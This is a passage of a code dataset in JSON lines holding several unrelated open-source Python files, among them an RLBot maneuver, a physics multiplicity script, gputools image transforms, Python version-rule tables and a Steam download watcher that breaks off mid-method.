+{"text": "from maneuvers.kit import *\r\n\r\nfrom maneuvers.driving.arrive import Arrive\r\n\r\nclass FastRecovery(Maneuver):\r\n def __init__(self, car: Car):\r\n super().__init__(car)\r\n\r\n self.turn = AerialTurn(car, look_at(vec3(0, 0, -1)))\r\n self.landing = False\r\n\r\n def step(self, dt):\r\n self.turn.step(dt)\r\n self.controls = self.turn.controls\r\n self.controls.throttle = 1\r\n\r\n if self.landing:\r\n self.turn.find_landing_orientation(200)\r\n else:\r\n if angle_between(self.car.forward(), vec3(0, 0, -1)) < 0.5:\r\n self.controls.boost = 1\r\n else:\r\n self.controls.boost = 0\r\n\r\n if distance(self.car, self.find_landing_pos()) < clamp(norm(self.car.vel), 600, 2300):\r\n self.landing = True\r\n self.turn = AerialTurn(self.car)\r\n\r\n self.finished = self.car.on_ground\r\n\r\n def find_landing_pos(self, num_points=200, dt=0.0333) -> vec3:\r\n dummy = Car(self.car)\r\n for i in range(0, num_points):\r\n dummy.step(Input(), dt)\r\n dummy.time += dt\r\n n = dummy.pitch_surface_normal()\r\n if norm(n) > 0.0 and i > 10:\r\n return dummy.pos\r\n return self.car.pos\r\n ", "source": "DaCoolOne/RLBotPack", "license": "MIT"}
+{"text": "import warnings\nimport os\nfrom importlib import import_module\n\npackages = ['sklearn', 'nibabel', 'numpy',\n 'matplotlib', 'skbold', 'niwidgets', 'scipy']\n\nwarnings.filterwarnings(\"ignore\")\n\nfor package in packages:\n try:\n import_module(package)\n print('%s was succesfully installed!' % package)\n\n except ImportError:\n print('\\nCould not find package %s' % package)\n cmd = \"pip install %s\" % package\n print('Install %s using the command: %s\\n' % (package, cmd))\n", "source": "lukassnoek/ICON2017_MVPA", "license": "MIT"}
+{"text": "\"\"\"Table for 200 and 100 oscillators with 100 units of energy\"\"\"\r\nimport math\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndef mult(n, r):\r\n return math.factorial(n) / (math.factorial(r) * math.factorial(n-r))\r\n\r\nnA = 200\r\nnB = 100\r\nqA = np.arange(0,101,1)\r\nqB = np.arange(101, 0, -1)\r\n\r\n#multsA = [mult(n = i+nA-1, r = i) for i in qA]\r\n#multsB = [mult(n = j+nB-1, r = i) for j in qB]\r\n\r\nmultA = []\r\nmultB = []\r\n\r\nfor i in qA:\r\n multA.append(mult(n = i+nA-1, r = i))\r\n\r\nfor i in qB:\r\n multB.append(mult(n = i + nB - 1, r=i))\r\n\r\nmultsA = np.asarray(multA)\r\nmultsB = np.asarray(multB)\r\n\r\n\r\n\r\n#multsA = np.asarray(list(map(mult(n = qA+nA-1,r = qA))))\r\n#multsB = np.asarray(list(map(mult(n = qB+nB-1,r = qB))))\r\n\r\nEinstein = pd.DataFrame(data = [qA, multsA, qB, multsB, multsA*multsB])\r\n\r\n#plt.plot(numHeads, probs)\r\n#plt.title(\"Probabilites of getting n heads flipping 50 coins\")\r\n#plt.xlabel(\"n Heads\")\r\n#plt.ylabel(\"Probability\")\r\n#plt.show()\r\nplt.plot(qA, Einstein.T[4])\r\n", "source": "SNOlson/MyCodes", "license": "Apache-2.0"}
+{"text": "from ..common import WQXException\nfrom .SimpleContent import (\n BinaryObjectFileName,\n BinaryObjectFileTypeCode\n)\nfrom yattag import Doc\n\nclass AttachedBinaryObject:\n \"\"\"Reference document, image, photo, GIS data layer, laboratory material or other electronic object attached within a data exchange, as well as information used to describe the object.\"\"\"\n\n __binaryObjectFileName: BinaryObjectFileName\n __binaryObjectFileTypeCode: BinaryObjectFileTypeCode\n\n def __init__(self, o=None, *,\n binaryObjectFileName:BinaryObjectFileName = None,\n binaryObjectFileTypeCode:BinaryObjectFileTypeCode = None\n ):\n if isinstance(o, AttachedBinaryObject):\n # Assign attributes from object without typechecking\n self.__binaryObjectFileName = o.binaryObjectFileName\n self.__binaryObjectFileTypeCode = o.binaryObjectFileTypeCode\n elif isinstance(o, dict):\n # Assign attributes from dictionary with typechecking\n self.binaryObjectFileName = o.get('binaryObjectFileName', default = None)\n self.binaryObjectFileTypeCode = o.get('binaryObjectFileTypeCode', default = None)\n else:\n # Assign attributes from named keywords with typechecking\n self.binaryObjectFileName = binaryObjectFileName\n self.binaryObjectFileTypeCode = binaryObjectFileTypeCode\n\n @property\n def binaryObjectFileName(self) -> BinaryObjectFileName:\n return self.__binaryObjectFileName\n @binaryObjectFileName.setter\n def binaryObjectFileName(self, val:BinaryObjectFileName) -> None:\n self.__binaryObjectFileName = BinaryObjectFileName(val)\n\n @property\n def binaryObjectFileTypeCode(self) -> BinaryObjectFileTypeCode:\n return self.__binaryObjectFileTypeCode\n @binaryObjectFileTypeCode.setter\n def binaryObjectFileTypeCode(self, val:BinaryObjectFileTypeCode) -> None:\n self.__binaryObjectFileTypeCode = BinaryObjectFileTypeCode(val)\n\n def generateXML(self, name:str = 'AttachedBinaryObject') -> str:\n doc, tag, text, line = Doc().ttl()\n\n with tag(name):\n if self.__binaryObjectFileName is None:\n raise WQXException(\"Attribute 'binaryObjectFileName' is required.\")\n line('BinaryObjectFileName', self.__binaryObjectFileName)\n if self.__binaryObjectFileTypeCode is None:\n raise WQXException(\"Attribute 'binaryObjectFileTypeCode' is required.\")\n line('BinaryObjectFileTypeCode', self.__binaryObjectFileTypeCode)\n\n return doc.getvalue()\n", "source": "FlippingBinary/wqxlib", "license": "MIT"}
+{"text": "modules_rules = {\n \"graphlib\": (None, (3, 9)),\n \"test.support.socket_helper\": (None, (3, 9)),\n \"zoneinfo\": (None, (3, 9)),\n}\n\nclasses_rules = {\n \"asyncio.BufferedProtocol\": (None, (3, 7)),\n \"asyncio.PidfdChildWatcher\": (None, (3, 9)),\n \"importlib.abc.Traversable\": (None, (3, 9)),\n \"importlib.abc.TraversableReader\": (None, (3, 9)),\n \"pstats.FunctionProfile\": (None, (3, 9)),\n \"pstats.StatsProfile\": (None, (3, 9)),\n}\n\nexceptions_rules = {\n}\n\nfunctions_rules = {\n \"ast.unparse\": (None, (3, 9)),\n \"asyncio.loop.shutdown_default_executor\": (None, (3, 9)),\n \"asyncio.to_thread\": (None, (3, 9)),\n \"bytearray.removeprefix\": (None, (3, 9)),\n \"bytearray.removesuffix\": (None, (3, 9)),\n \"bytes.removeprefix\": (None, (3, 9)),\n \"bytes.removesuffix\": (None, (3, 9)),\n \"curses.get_escdelay\": (None, (3, 9)),\n \"curses.get_tabsize\": (None, (3, 9)),\n \"curses.set_escdelay\": (None, (3, 9)),\n \"curses.set_tabsize\": (None, (3, 9)),\n \"gc.is_finalized\": (None, (3, 9)),\n \"imaplib.IMAP4.unselect\": (None, (3, 9)),\n \"importlib.machinery.FrozenImporter.create_module\": (None, (3, 4)),\n \"importlib.machinery.FrozenImporter.exec_module\": (None, (3, 4)),\n \"importlib.resources.files\": (None, (3, 9)),\n \"keyword.issoftkeyword\": (None, (3, 9)),\n \"logging.StreamHandler.setStream\": (None, (3, 7)),\n \"math.lcm\": (None, (3, 9)),\n \"math.nextafter\": (None, (3, 9)),\n \"math.ulp\": (None, (3, 9)),\n \"multiprocessing.SimpleQueue.close\": (None, (3, 9)),\n \"os.pidfd_open\": (None, (3, 9)),\n \"os.waitstatus_to_exitcode\": (None, (3, 9)),\n \"pathlib.Path.link_to\": (None, (3, 8)),\n \"pathlib.Path.readlink\": (None, (3, 9)),\n \"pathlib.PurePath.is_relative_to\": (None, (3, 9)),\n \"pathlib.PurePath.with_stem\": (None, (3, 9)),\n \"pkgutil.resolve_name\": (None, (3, 9)),\n \"pstats.Stats.get_stats_profile\": (None, (3, 9)),\n \"random.randbytes\": (None, (3, 9)),\n \"signal.pidfd_send_signal\": (None, (3, 9)),\n \"socket.recv_fds\": (None, (3, 9)),\n \"socket.send_fds\": (None, (3, 9)),\n \"statistics.NormalDist.zscore\": (None, (3, 9)),\n \"str.removeprefix\": (None, (3, 9)),\n \"str.removesuffix\": (None, (3, 9)),\n \"test.support.print_warning\": (None, (3, 9)),\n \"test.support.wait_process\": (None, (3, 9)),\n \"tracemalloc.reset_peak\": (None, (3, 9)),\n \"types.CodeType.replace\": (None, (3, 8)),\n \"typing.get_origin\": (None, (3, 8)),\n \"venv.EnvBuilder.upgrade_dependencies\": (None, (3, 9)),\n \"xml.etree.ElementTree.indent\": (None, (3, 9)),\n}\n\nvariables_and_constants_rules = {\n \"decimal.HAVE_CONTEXTVAR\": (None, (3, 7)),\n \"difflib.SequenceMatcher.bjunk\": (None, (3, 2)),\n \"difflib.SequenceMatcher.bpopular\": (None, (3, 2)),\n \"fcntl.F_GETPATH\": (None, (3, 9)),\n \"fcntl.F_OFD_GETLK\": (None, (3, 9)),\n \"fcntl.F_OFD_SETLK\": (None, (3, 9)),\n \"fcntl.F_OFD_SETLKW\": (None, (3, 9)),\n \"http.HTTPStatus.EARLY_HINTS\": (None, (3, 9)),\n \"http.HTTPStatus.IM_A_TEAPOT\": (None, (3, 9)),\n \"http.HTTPStatus.TOO_EARLY\": (None, (3, 9)),\n \"keyword.softkwlist\": (None, (3, 9)),\n \"logging.StreamHandler.terminator\": (None, (3, 2)),\n \"os.CLD_KILLED\": (None, (3, 9)),\n \"os.CLD_STOPPED\": (None, (3, 9)),\n \"os.P_PIDFD\": (None, (3, 9)),\n \"socket.CAN_J1939\": (None, (3, 9)),\n \"socket.CAN_RAW_JOIN_FILTERS\": (None, (3, 9)),\n \"socket.IPPROTO_UDPLITE\": (None, (3, 9)),\n \"sys.__unraisablehook__\": (None, (3, 8)),\n \"sys.flags.dev_mode\": (None, (3, 7)),\n \"sys.flags.utf8_mode\": (None, (3, 7)),\n \"sys.platlibdir\": (None, (3, 9)),\n \"time.CLOCK_TAI\": (None, (3, 9)),\n \"token.COLONEQUAL\": (None, (3, 8)),\n \"token.TYPE_COMMENT\": (None, (3, 8)),\n \"token.TYPE_IGNORE\": (None, (3, 8)),\n \"tracemalloc.Traceback.total_nframe\": (None, (3, 9)),\n \"typing.Annotated\": (None, (3, 9)),\n \"unittest.mock.Mock.call_args.args\": (None, (3, 8)),\n \"unittest.mock.Mock.call_args.kwargs\": (None, (3, 8)),\n \"urllib.response.addinfourl.status\": (None, (3, 9)),\n}\n\ndecorators_rules = {\n \"functools.cache\": (None, (3, 9)),\n}\n\nkwargs_rules = {\n (\"argparse.ArgumentParser\", \"exit_on_error\"): (None, (3, 9)),\n (\"ast.dump\", \"indent\"): (None, (3, 9)),\n (\"asyncio.Future.cancel\", \"msg\"): (None, (3, 9)),\n (\"asyncio.Task.cancel\", \"msg\"): (None, (3, 9)),\n (\"asyncio.loop.create_connection\", \"happy_eyeballs_delay\"): (None, (3, 8)),\n (\"asyncio.loop.create_connection\", \"interleave\"): (None, (3, 8)),\n (\"bytearray.hex\", \"bytes_per_sep\"): (None, (3, 8)),\n (\"bytearray.hex\", \"sep\"): (None, (3, 8)),\n (\"compileall.compile_dir\", \"hardlink_dupes\"): (None, (3, 9)),\n (\"compileall.compile_dir\", \"limit_sl_dest\"): (None, (3, 9)),\n (\"compileall.compile_dir\", \"prependdir\"): (None, (3, 9)),\n (\"compileall.compile_dir\", \"stripdir\"): (None, (3, 9)),\n (\"compileall.compile_file\", \"hardlink_dupes\"): (None, (3, 9)),\n (\"compileall.compile_file\", \"limit_sl_dest\"): (None, (3, 9)),\n (\"compileall.compile_file\", \"prependdir\"): (None, (3, 9)),\n (\"compileall.compile_file\", \"stripdir\"): (None, (3, 9)),\n (\"concurrent.futures.Executor.shutdown\", \"cancel_futures\"): (None, (3, 9)),\n (\"ftplib.FTP\", \"encoding\"): (None, (3, 9)),\n (\"ftplib.FTP_TLS\", \"encoding\"): (None, (3, 9)),\n (\"hashlib.blake2b\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.blake2s\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.md5\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.new\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha1\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha224\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha256\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha384\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha3_224\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha3_256\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha3_384\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha3_512\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.sha512\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.shake_128\", \"usedforsecurity\"): (None, (3, 9)),\n (\"hashlib.shake_256\", \"usedforsecurity\"): (None, (3, 9)),\n (\"imaplib.IMAP4\", \"timeout\"): (None, (3, 9)),\n (\"imaplib.IMAP4.open\", \"timeout\"): (None, (3, 9)),\n (\"imaplib.IMAP4_SSL\", \"ssl_context\"): (None, (3, 3)),\n (\"imaplib.IMAP4_SSL\", \"timeout\"): (None, (3, 9)),\n (\"logging.basicConfig\", \"encoding\"): (None, (3, 9)),\n (\"logging.basicConfig\", \"errors\"): (None, (3, 9)),\n (\"logging.handlers.RotatingFileHandler\", \"errors\"): (None, (3, 9)),\n (\"logging.handlers.TimedRotatingFileHandler\", \"errors\"): (None, (3, 9)),\n (\"logging.handlers.WatchedFileHandler\", \"errors\"): (None, (3, 9)),\n (\"memoryview.hex\", \"bytes_per_sep\"): (None, (3, 8)),\n (\"memoryview.hex\", \"sep\"): (None, (3, 8)),\n (\"os.sendfile\", \"in_fd\"): (None, (3, 9)),\n (\"os.sendfile\", \"out_fd\"): (None, (3, 9)),\n (\"pow\", \"base\"): (None, (3, 8)),\n (\"pow\", \"exp\"): (None, (3, 8)),\n (\"pow\", \"mod\"): (None, (3, 8)),\n (\"random.sample\", \"counts\"): (None, (3, 9)),\n (\"smtplib.LMTP\", \"timeout\"): (None, (3, 9)),\n (\"subprocess.Popen\", \"extra_groups\"): (None, (3, 9)),\n (\"subprocess.Popen\", \"group\"): (None, (3, 9)),\n (\"subprocess.Popen\", \"umask\"): (None, (3, 9)),\n (\"subprocess.Popen\", \"user\"): (None, (3, 9)),\n (\"threading.Semaphore.release\", \"n\"): (None, (3, 9)),\n (\"typing.get_type_hints\", \"include_extras\"): (None, (3, 9)),\n (\"venv.EnvBuilder\", \"upgrade_deps\"): (None, (3, 9)),\n (\"xml.etree.ElementInclude.include\", \"base_url\"): (None, (3, 9)),\n (\"xml.etree.ElementInclude.include\", \"max_depth\"): (None, (3, 9)),\n}\n", "source": "gousaiyang/python-change-parser", "license": "MIT"}
+{"text": "\"\"\" scaling images\n\n\"\"\"\n\nfrom __future__ import print_function, unicode_literals, absolute_import, division\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nimport os\nimport numpy as np\nimport warnings\nfrom gputools import OCLArray, OCLImage, OCLProgram\nfrom gputools.core.ocltypes import cl_buffer_datatype_dict\nfrom gputools.utils import mat4_rotate, mat4_translate\nfrom ._abspath import abspath\nfrom mako.template import Template\n\n\n\ndef affine(data, mat=np.identity(4), output_shape=None, mode=\"constant\", interpolation=\"linear\", res_g=None):\n \"\"\"\n affine transform data with matrix mat, which is the inverse coordinate transform matrix \n (similar to ndimage.affine_transform)\n \n Parameters\n ----------\n data, ndarray or OCLImage\n 3d array to be transformed\n mat, ndarray or OCLArray\n 3x3 or 4x4 inverse coordinate transform matrix \n output_shape: tuple of ints\n shape of transformed array\n mode: string \n boundary mode, one of the following:\n 'constant'\n pads with zeros \n 'edge'\n pads with edge values\n 'wrap'\n pads with the repeated version of the input \n interpolation, string\n interpolation mode, one of the following \n 'linear'\n 'nearest'\n \n Returns\n -------\n res: ndarray or openCL array\n transformed array (same shape as input)\n \n \"\"\"\n warnings.warn(\n \"gputools.transform.affine: API change as of gputools>= 0.2.8: the inverse of the matrix is now used as in scipy.ndimage.affine_transform\")\n\n if data.ndim != 3:\n raise ValueError(\"input data has to be a 3d array!\")\n\n interpolation_defines = {\"linear\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_LINEAR\"],\n \"nearest\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_NEAREST\"]}\n\n mode_defines = {\"constant\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP\"],\n \"wrap\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_REPEAT\"],\n \"edge\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP_TO_EDGE\"]\n }\n\n if not interpolation in interpolation_defines:\n raise KeyError(\n \"interpolation = '%s' not defined ,valid: %s\" % (interpolation, list(interpolation_defines.keys())))\n\n if not mode in mode_defines:\n raise KeyError(\"mode = '%s' not defined ,valid: %s\" % (mode, list(mode_defines.keys())))\n\n # reorder matrix, such that x,y,z -> z,y,x (as the kernel is assuming that)\n\n if output_shape is None:\n output_shape = data.shape\n\n if isinstance(data, OCLImage):\n d_im = data\n else:\n d_im = OCLImage.from_array(data.astype(np.float32, copy=False))\n if res_g is None:\n res_g = OCLArray.empty(output_shape, np.float32)\n \n mat_inv_g = OCLArray.from_array(mat.astype(np.float32, copy=False))\n\n prog = OCLProgram(abspath(\"kernels/affine.cl\")\n , build_options=interpolation_defines[interpolation] +\n mode_defines[mode])\n\n prog.run_kernel(\"affine3\",\n output_shape[::-1], None,\n d_im, res_g.data, mat_inv_g.data)\n\n if isinstance(data, OCLImage):\n return res_g\n else:\n return res_g.get()\n\n\ndef shift(data, shift=(0, 0, 0), mode=\"constant\", interpolation=\"linear\"):\n \"\"\"\n translates 3d data by given amount\n \n \n Parameters\n ----------\n data: ndarray\n 3d array\n shift : float or sequence\n The shift along the axes. If a float, `shift` is the same for each axis. \n If a sequence, `shift` should contain one value for each axis. \n mode: string \n boundary mode, one of the following: \n 'constant'\n pads with zeros \n 'edge'\n pads with edge values\n 'wrap'\n pads with the repeated version of the input \n interpolation, string\n interpolation mode, one of the following \n 'linear'\n 'nearest'\n \n Returns\n -------\n res: ndarray\n shifted array (same shape as input)\n \"\"\"\n if np.isscalar(shift):\n shift = (shift,) * 3\n\n if len(shift) != 3:\n raise ValueError(\"shift (%s) should be of length 3!\")\n\n shift = -np.array(shift)\n return affine(data, mat4_translate(*shift), mode=mode, interpolation=interpolation)\n\n\ndef rotate(data, axis=(1., 0, 0), angle=0., center=None, mode=\"constant\", interpolation=\"linear\"):\n \"\"\"\n rotates data around axis by a given angle\n\n Parameters\n ----------\n data: ndarray\n 3d array\n axis: tuple\n axis to rotate by angle about\n axis = (x,y,z)\n angle: float\n center: tuple or None\n origin of rotation (cz,cy,cx) in pixels\n if None, center is the middle of data\n \n mode: string \n boundary mode, one of the following: \n 'constant'\n pads with zeros \n 'edge'\n pads with edge values\n 'wrap'\n pads with the repeated version of the input \n interpolation, string\n interpolation mode, one of the following \n 'linear'\n 'nearest'\n \n Returns\n -------\n res: ndarray\n rotated array (same shape as input)\n\n \"\"\"\n if center is None:\n center = tuple([s // 2 for s in data.shape])\n\n cx, cy, cz = center\n m = np.dot(mat4_translate(cx, cy, cz),\n np.dot(mat4_rotate(angle, *axis),\n mat4_translate(-cx, -cy, -cz)))\n m = np.linalg.inv(m)\n return affine(data, m, mode=mode, interpolation=interpolation)\n\n\ndef map_coordinates(data, coordinates, interpolation=\"linear\",\n mode='constant'):\n \"\"\"\n Map data to new coordinates by interpolation.\n The array of coordinates is used to find, for each point in the output,\n the corresponding coordinates in the input.\n\n should correspond to scipy.ndimage.map_coordinates\n \n Parameters\n ----------\n data\n coordinates\n output\n interpolation\n mode\n cval\n prefilter\n\n Returns\n -------\n \"\"\"\n if not (isinstance(data, np.ndarray) and data.ndim in (2, 3)):\n raise ValueError(\"input data has to be a 2d or 3d array!\")\n\n coordinates = np.asarray(coordinates, np.int32)\n if not (coordinates.shape[0] == data.ndim):\n raise ValueError(\"coordinate has to be of shape (data.ndim,m) \")\n\n interpolation_defines = {\"linear\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_LINEAR\"],\n \"nearest\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_NEAREST\"]}\n\n mode_defines = {\"constant\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP\"],\n \"wrap\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_REPEAT\"],\n \"edge\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP_TO_EDGE\"]\n }\n\n if not interpolation in interpolation_defines:\n raise KeyError(\n \"interpolation = '%s' not defined ,valid: %s\" % (interpolation, list(interpolation_defines.keys())))\n\n if not mode in mode_defines:\n raise KeyError(\"mode = '%s' not defined ,valid: %s\" % (mode, list(mode_defines.keys())))\n\n if not data.dtype.type in cl_buffer_datatype_dict:\n raise KeyError(\"dtype %s not supported yet (%s)\" % (data.dtype.type, tuple(cl_buffer_datatype_dict.keys())))\n\n dtype_defines = [\"-D\", \"DTYPE=%s\" % cl_buffer_datatype_dict[data.dtype.type]]\n\n d_im = OCLImage.from_array(data)\n coordinates_g = OCLArray.from_array(coordinates.astype(np.float32, copy=False))\n res_g = OCLArray.empty(coordinates.shape[1], data.dtype)\n\n prog = OCLProgram(abspath(\"kernels/map_coordinates.cl\")\n , build_options=interpolation_defines[interpolation] +\n mode_defines[mode] + dtype_defines)\n\n kernel = \"map_coordinates{ndim}\".format(ndim=data.ndim)\n\n prog.run_kernel(kernel,\n (coordinates.shape[-1],), None,\n d_im, res_g.data, coordinates_g.data)\n\n return res_g.get()\n\n\ndef geometric_transform(data, mapping = \"c0,c1\", output_shape=None,\n mode='constant', interpolation=\"linear\"):\n \"\"\"\n Apply an arbitrary geometric transform.\n The given mapping function is used to find, for each point in the\n output, the corresponding coordinates in the input. The value of the\n input at those coordinates is determined by spline interpolation of\n the requested order.\n Parameters\n ----------\n %(input)s\n mapping : {callable, scipy.LowLevelCallable}\n A callable object that accepts a tuple of length equal to the output\n array rank, and returns the corresponding input coordinates as a tuple\n of length equal to the input array rank.\n \"\"\"\n\n if not (isinstance(data, np.ndarray) and data.ndim in (2, 3)):\n raise ValueError(\"input data has to be a 2d or 3d array!\")\n\n interpolation_defines = {\"linear\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_LINEAR\"],\n \"nearest\": [\"-D\", \"SAMPLER_FILTER=CLK_FILTER_NEAREST\"]}\n\n mode_defines = {\"constant\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP\"],\n \"wrap\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_REPEAT\"],\n \"edge\": [\"-D\", \"SAMPLER_ADDRESS=CLK_ADDRESS_CLAMP_TO_EDGE\"]\n }\n\n if not interpolation in interpolation_defines:\n raise KeyError(\n \"interpolation = '%s' not defined ,valid: %s\" % (interpolation, list(interpolation_defines.keys())))\n\n if not mode in mode_defines:\n raise KeyError(\"mode = '%s' not defined ,valid: %s\" % (mode, list(mode_defines.keys())))\n\n if not data.dtype.type in cl_buffer_datatype_dict:\n raise KeyError(\"dtype %s not supported yet (%s)\" % (data.dtype.type, tuple(cl_buffer_datatype_dict.keys())))\n\n dtype_defines = [\"-D\", \"DTYPE={type}\".format(type=cl_buffer_datatype_dict[data.dtype.type])]\n\n image_functions = {np.float32:\"read_imagef\",\n np.uint8: \"read_imageui\",\n np.uint16: \"read_imageui\",\n np.int32: \"read_imagei\"}\n\n image_read_defines = [\"-D\",\"READ_IMAGE=%s\"%image_functions[data.dtype.type]]\n\n with open(abspath(\"kernels/geometric_transform.cl\"), \"r\") as f:\n tpl = Template(f.read())\n\n output_shape = tuple(output_shape)\n\n mappings = {\"FUNC2\": \"c1,c0\",\n \"FUNC3\": \"c2,c1,c0\"}\n\n mappings[\"FUNC%d\" % data.ndim] = \",\".join(reversed(mapping.split(\",\")))\n\n rendered = tpl.render(**mappings)\n\n d_im = OCLImage.from_array(data)\n res_g = OCLArray.empty(output_shape, data.dtype)\n\n prog = OCLProgram(src_str=rendered,\n build_options=interpolation_defines[interpolation] +\n mode_defines[mode] + dtype_defines+image_read_defines)\n\n kernel = \"geometric_transform{ndim}\".format(ndim=data.ndim)\n\n prog.run_kernel(kernel,\n output_shape[::-1], None,\n d_im, res_g.data)\n\n return res_g.get()\n\n\nif __name__ == '__main__':\n d = np.zeros((200, 200, 200), np.float32)\n d[20:-20, 20:-20, 20:-20] = 1.\n\n # res = translate(d, x = 10, y = 5, z= -10 )\n res = rotate(d, center=(100, 100, 100), angle=.5)\n", "source": "jni/gputools", "license": "BSD-3-Clause"}
+{"text": "\"\"\" This Python modules describes an application that checks for active steam downloads\nand shuts down the computer when they are all finished. \"\"\"\n\nimport os\nimport signal\nimport threading\nimport subprocess\nimport winreg as reg\nimport tkinter as tk\nimport tkinter.filedialog\nimport tkinter.messagebox\nimport tkinter.scrolledtext\nimport pyparsing as pp\n\n\nclass Watcher:\n def __init__(self):\n self.directories = set()\n self.loaded_steam = False\n\n def ask(self):\n folder = tk.filedialog.askdirectory()\n self.directories.add(folder)\n\n def load_steam_folders(self):\n if self.loaded_steam:\n return\n\n hkey = reg.OpenKey(reg.HKEY_CURRENT_USER, \"Software\\\\Valve\\\\Steam\")\n steam_path = reg.QueryValueEx(hkey, \"SteamPath\")[0]\n # Read the steam vdf file that contains path strings to all\n # game install directories.\n try:\n file = open(steam_path + \"/steamapps/LibraryFolders.vdf\").read()\n except OSError:\n print(\"Unable to open {}.\".format(\n steam_path + \"/steamapps/LibraryFolders.vdf\"))\n # parse Valve's weird cfg format (its like a shitty version of JSON)\n # forward declare the value of a key\n value = pp.Forward()\n # expression for our dict structure that looks like: [\"key1\", value]\n key_value = pp.Group(pp.QuotedString('\"') + value)\n # create a parse structure for value so value looks like: c\n expression = pp.Suppress(\n '{') + pp.Dict(pp.ZeroOrMore(key_value)) + pp.Suppress('}')\n # set our value to be a quoted string follow by the structure we defined,\n # looks like this in Python:\n # [\"outer_key\", { [\"inner_key1\", value], [\"inner_key2\", value] } ]\n # we can acess the above as either a dict or array.\n value <<= pp.QuotedString('\"') | expression\n parser = pp.Dict(key_value)\n content = parser.parseString(file)\n\n for entry in content[\"libraryfolders\"]:\n for key, val in entry.items():\n if key == \"path\":\n dlpath = val + \"\\\\steamapps\\\\downloading\"\n if os.path.isdir(dlpath):\n self.directories.add(dlpath)\n\n self.loaded_steam = True\n\n def folder_size(self, start_path='.'):\n total_size = 0\n for dirpath, _, filenames in os.walk(start_path):\n for filename in filenames:\n filepath = os.path.join(dirpath, filename)\n if not os.path.islink(filepath):\n total_size += os.path.getsize(filepath)\n return total_size\n\n def folder_sizes(self):\n all_sizes = list()\n for dirpath in self.directories:\n all_sizes.append(self.folder_size(dirpath))\n return all_sizes\n\n def is_updating(self, last_sizes: list, new_sizes: list):\n for last_size, new_size in zip(last_sizes, new_sizes):\n if new_size != last_size:\n return True\n return False\n\n def clear(self):\n self.directories.clear()\n self.loaded_steam = False\n\n def get_folders(self):\n return self.directories\n\n\nclass Application:\n def __init__(self):\n self.watcher = Watcher()\n\n self.window = tk.Tk()\n self.window.title(\"Download Watcher\")\n self.window.geometry('500x360')\n\n button_frame = tk.Frame(self.window)\n button_frame.pack(side=tk.BOTTOM)\n\n self.logger = tk.scrolledtext.ScrolledText(\n self.window, height=100, width=100, font=\"Courier 10\")\n self.logger.pack(side=tk.LEFT)\n\n self.logger.tag_config(\n \"green\", foreground=\"green\", font=\"courier 10 bold\")\n self.logger.tag_config(\n \"orange\", foreground=\"orange\", font=\"courier 10 bold\")\n self.logger.tag_config(\"red\", foreground=\"red\", font=\"courier 10 bold\")\n\n self.steam_btn = tk.Button(button_frame, text=\"Add Steam\",\n command=self.load_steam_folders, padx=2, pady=2)\n self.steam_btn.pack(side=tk.LEFT)\n\n self.folder_btn = tk.Button(button_frame, text=\"Add Folder\",\n command=self.ask, padx=2, pady=2)\n self.folder_btn.pack(side=tk.LEFT)\n\n self.clear_btn = tk.Button(button_frame, text=\"Clear\",\n command=self.clear, padx=2, pady=2)\n self.clear_btn.pack(side=tk.LEFT)\n\n self.start_btn = tk.Button(button_frame, text=\"Start\",\n command=self.watch_thread, padx=2, pady=2)\n self.start_btn.pack(side=tk.LEFT)\n\n self.stop_btn = tk.Button(button_frame, text=\"Stop\",\n command=self.stop, padx=2, pady=2)\n self.stop_btn.pack(side=tk.LEFT)\n\n self.thread = None\n self.running = False\n\n self.timer = threading.Event()\n self.window.protocol(\"WM_DELETE_WINDOW\", self.on_exit)\n signal.signal(signal.SIGINT, self.stop)\n\n def log(self, text: str, color=\"black\"):\n self.logger.config(state=tk.NORMAL)\n self.logger.insert(tk.END, text, (color))\n self.logger.see(\"end\")\n self.logger.config(state=tk.DISABLED)\n\n def ask(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n return\n folders_copy = self.watcher.get_folders().copy()\n self.watcher.ask()\n for folder in self.watcher.get_folders():\n if folder not in folders_copy:\n self.log(\"Added: \", color=\"green\")\n self.log(folder + '\\n')\n\n def clear(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n return\n self.watcher.clear()\n self.logger.config(state=tk.NORMAL)\n self.logger.delete('1.0', tk.END)\n self.logger.config(state=tk.DISABLED)\n\n def load_steam_folders(self):\n if self.running:\n tkinter.messagebox.showwarning(\n \"Warning\", \"Please stop the Watcher.\")\n return\n folders_copy = self.watcher.get_folders().copy()\n self.watcher.load_steam_folders()\n for folder in self.watcher.get_folders():\n if folder not in folders_copy:\n self.log(\"Added: \", color=\"green\")\n self.log(folder + '\\n')\n\n def watch(self):\n self.running = True\n self.timer.clear()\n 